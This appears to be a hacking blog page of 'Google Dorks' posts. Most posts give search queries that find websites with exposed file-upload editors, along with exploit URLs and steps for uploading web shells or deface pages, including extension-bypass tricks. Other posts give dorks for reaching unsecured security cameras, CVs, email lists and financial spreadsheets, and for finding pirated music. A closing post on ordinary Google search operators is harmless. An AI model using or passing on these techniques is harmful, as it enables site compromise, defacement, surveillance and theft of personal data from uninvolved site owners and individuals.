Showing posts with label Google Dorks. Show all posts
Showing posts with label Google Dorks. Show all posts


Dork: inurl:/editor/tmedit/popups
Exploit Path : /editor/tmedit/popups/InsertFile/insert_file.php
#start :)
open Google.com or Bing.com and type this dork inurl:/editor/tmedit/popups
i got 9740 vulnrable results, now select any site from seacrh result and look for upload option on that Page now upload you shell, deface page, or anyfile there,
After uploading your file you'll see your uploaded file's url there, if you are not getting any perview url then goto /images directory to view your uploaded file
for example : http://vulnrablesite.com/images/yourfilehere

Dork www.topronet.com ,All Rights Reserved.Any question, please email me cqq1978@Gmail.com
and 
JFoler 1.0 A jsp based web folder management tool by Steven Cee
(its not a Particular dork, please try to modify it and if you sucessfull modified then leave new dork in comment)
Just select any site from search results and now upload your deface page or shell
shell upload : for shell uploading rename your asp shell (shell.asp) to shell.jsp then upload it, you can try .php too, every Extension is allowed but in some sites you can't excute php and asp shell
Path : depends on website




Google serves almost 80 percent of all search queries on the Internet, proving itself as the most popular search engine. However Google makes it possible to reach not only the publicly available information resources, but also gives access to some of the most confidential information that should never have been revealed. In this post I will show how to use Google for exploiting security vulnerabilities within websites. The following are some of the hacks that can be accomplished using Google.



1. Hacking Security Cameras :

There exists many security cameras used for monitoring places like parking lots, college campus, road traffic etc. which can be hacked using Google so that you can view the images captured by those cameras in real time. All you have to do is use the following search query in Google. Type in Google search box exactly as follows and hit enter

inurl:”viewerframe?mode=motion”

Click on any of the search results (Top 5 recommended) and you will gain access to the live camera which has full controls.

Its as if your computer is a remote control and no one can track you down!! Well for me i got into a zoo’s webcam and i could see a lady feeding the Giraffe

Using this trick you can see live stuff with a fast internet connection including Baseball matches and soccer matches by adding a few more keywords in the line

You can also move the cameras in all the four directions, perform actions such as zoom in and zoom out. This camera has really a less refresh rate. But there are other search queries through which you can gain access to other cameras which have faster refresh rates. So to access them just use the following search query.

intitle:”Live View / – AXIS”

Click on any of the search results to access a different set of live cameras. Thus you have hacked Security Cameras using Google.

2. Hacking Personal and Confidential Documents

Using Google it is possible to gain access to an email repository containing CV of hundreds of people which were created when applying for their jobs. The documents containing their Address, Phone, DOB, Education, Work experience etc. can be found just in seconds.

intitle:”curriculum vitae” “phone * * *” “address *” “e-mail”

You can gain access to a list of .xls (excel documents) which contain contact details including email addresses of large group of people. To do so type the following search query and hit enter.

filetype:xls inurl:”email.xls”

Also it’s possible to gain access to documents potentially containing information on bank accounts, financial summaries and credit card numbers using the following search query

intitle:index.of finances.xls

3. Hacking Google to gain access to Free Stuffs

Ever wondered how to hack Google for free music or ebooks. Well here is a way to do that. To download free music just enter the following query on google search box and hit enter.

“?intitle:index.of?mp3 eminem“

Now you’ll gain access to the whole index of eminem album where in you can download the songs of your choice. Instead of eminem you can subtitute the name of your favorite album. To search for the ebooks all you have to do is replace “eminem” with your favorite book name. Also replace “mp3? with “pdf” or “zip” or “rar”.

Note: This Information is for educational purposes only Ashtricks and its owner is not responsible for anything done by you

Google Dork inurl:ezfilemanager/ezfilemanager.php
(Modify this dork for getting mor results from Google =)


Exploit : http://[xxx]/xxx/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file

Go to this url : website.com/lap/includes/tiny_mce/plugins/ezfilemanager/ezfilemanager.php and 
put ?sa=1&type=file after URL
now url will be :  http://website/PATCH/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file

Now see upload option and upload you file, you can upload ,html ,pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files

Go to Google.com and enter dork ~ 
"inurl:simple-upload-53.php" 


see search results and select any website 


the exploit url will be link this 


http://www.site.com/simple-upload-53.php


Now Upolad Your shell here as .php.jpg .php.girf etc 
and you can upload your deface in image Type


to view you uploaded file just goto http://www.site.com/files/yourfilehere


Google Dork : inurl:/HTMLEditor/editor/ 
or "inurl:/HTMLEditor/editor//filemanager/"
or "inurl:/HTMLEditor/editor//filemanager//connectors/"


Exploit : http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html


Go here :

http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html

or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html
 chnage connectors into PhP (Like FCKeditor) and upload Your file


suppoted files : .TXT and .JPG in some site you can upload .html and .php too


to view you file goto : http://website/PowerCMS%20folder/files/your file here
or http://website/patch//PowerCMS%20folder/files/your file here 

Examples :

Google Search Tricks

Posted by Unknown 2 comments


Google tricks/Google tips, does not mean hacking google, Using the below Google operators, we can get the desired Google result very quickly. Well we can name this as hidden Google secrets or Advanced Google searching.  

GOOGLE OPERATOR  

Type the following highlighted words in Google search box.
Google has several google operators that can help you find specific information, specific websites or inquire about the indexing of your own   site, below you will find the most important ones:  

define: - This google operator will find definitions for a certain term or  word over the Internet. Very useful when you come across a strange word when writing a post. I use this as a google dictionary. example : (define computer)
info: - The google info operator will list the sets of information that    Google has from a specific website (i.e. info:www.yahoo.com)
site: - This google operator can be used to see the number of indexed     pages on your site (i.e.site:www.yahoo.com).                  Alternative it can also be used to search for information inside a specific        site or class of sites.

link: - This google link operator allows you to find backlinks pointing         to your site. Unfortunately the count is not updated frequently and             not all backlinks are shown

allinurl: - Using this Google operator will limit the search to results         that contain the desired keywords on the URL structure. (i.e. allinurl:hackingtips)

file formats:Sometimes you know that the information you are looking for is likely to be contained in a PDF document or on a PowerPoint presentation, for instance. (i.e. “fileformat:.pdf market research” will search for PDF documents that contain the terms “market” and “research”)
  1. Google trick to  search different file formats (keyword filetype:doc)
  2. Google trick to search educational resources (keyword site:.edu) example (computer site:.edu)
  3. Finding the time of any location (time romania)
  4. Finding the weather of any location (boston weather)
  5. Tracking commentary of live events (Olympic games Beijing 2008)
  6. Using Google as a calculator (9 * 10)(143+234)(119-8)
  7. Converting currencies (1 USD in INR)(10 US Dollars in Indian Rupee)
  8. Find how many teaspoons are in a quarter cup (quarter cup in teaspoons)
  9. how many seconds there are in a year (seconds in a year)
  10. Tracking stocks (stocks:MSFT)
  11. Finding faces (add imgtype=face to the URL)
Top Essential Google Search shortcuts

#1: Get Local Weather

Type: “weather [city name or zip/postal code]”             Example: “weather 500054″ or “weather boston”

#2: Check Flight Status

Google automagically pulls flight data from FlightStats.com. All you have to do is enter the flight number.                             Type: [flight name and/or number]                      Example: “bc254″ or “newyork21″

#3: Convert Distances 

Type: “[value] [first distance unit] to [second distance unit]”          Example: “100 kilometers to miles”

#4: Find a Phone Number

Find a Person:

    Type: “[person’s name], [city or zip/postal code]”              Example: “john smith, london”

Find a Business/store:

    Type: “[business name or type], [city or zip/postal code]”              Example: “book store, boston”
Google search trick for Rapidshare files search:
#1 site:rapidshare.com inurl:users "*"

#2 site:rapidshare.de inurl:users "*"

#3 site:rapidshare.com inurl:files "*"

#4 site:rapidshare.de inurl:files "*"

#5 site:rapidshare.com inurl:users (pass|password)

#6 site:rapidshare.de inurl:users (pass|password)

Suppose u need some info on ebooks. Then u can try following keyword to see all rapidshare folders having any hacking related thing in it

site:rapidshare.com inurl:users "ebooks"

You might also like:15 Google "I'm Feeling Lucky" Tricks


  Download Google Secret dorks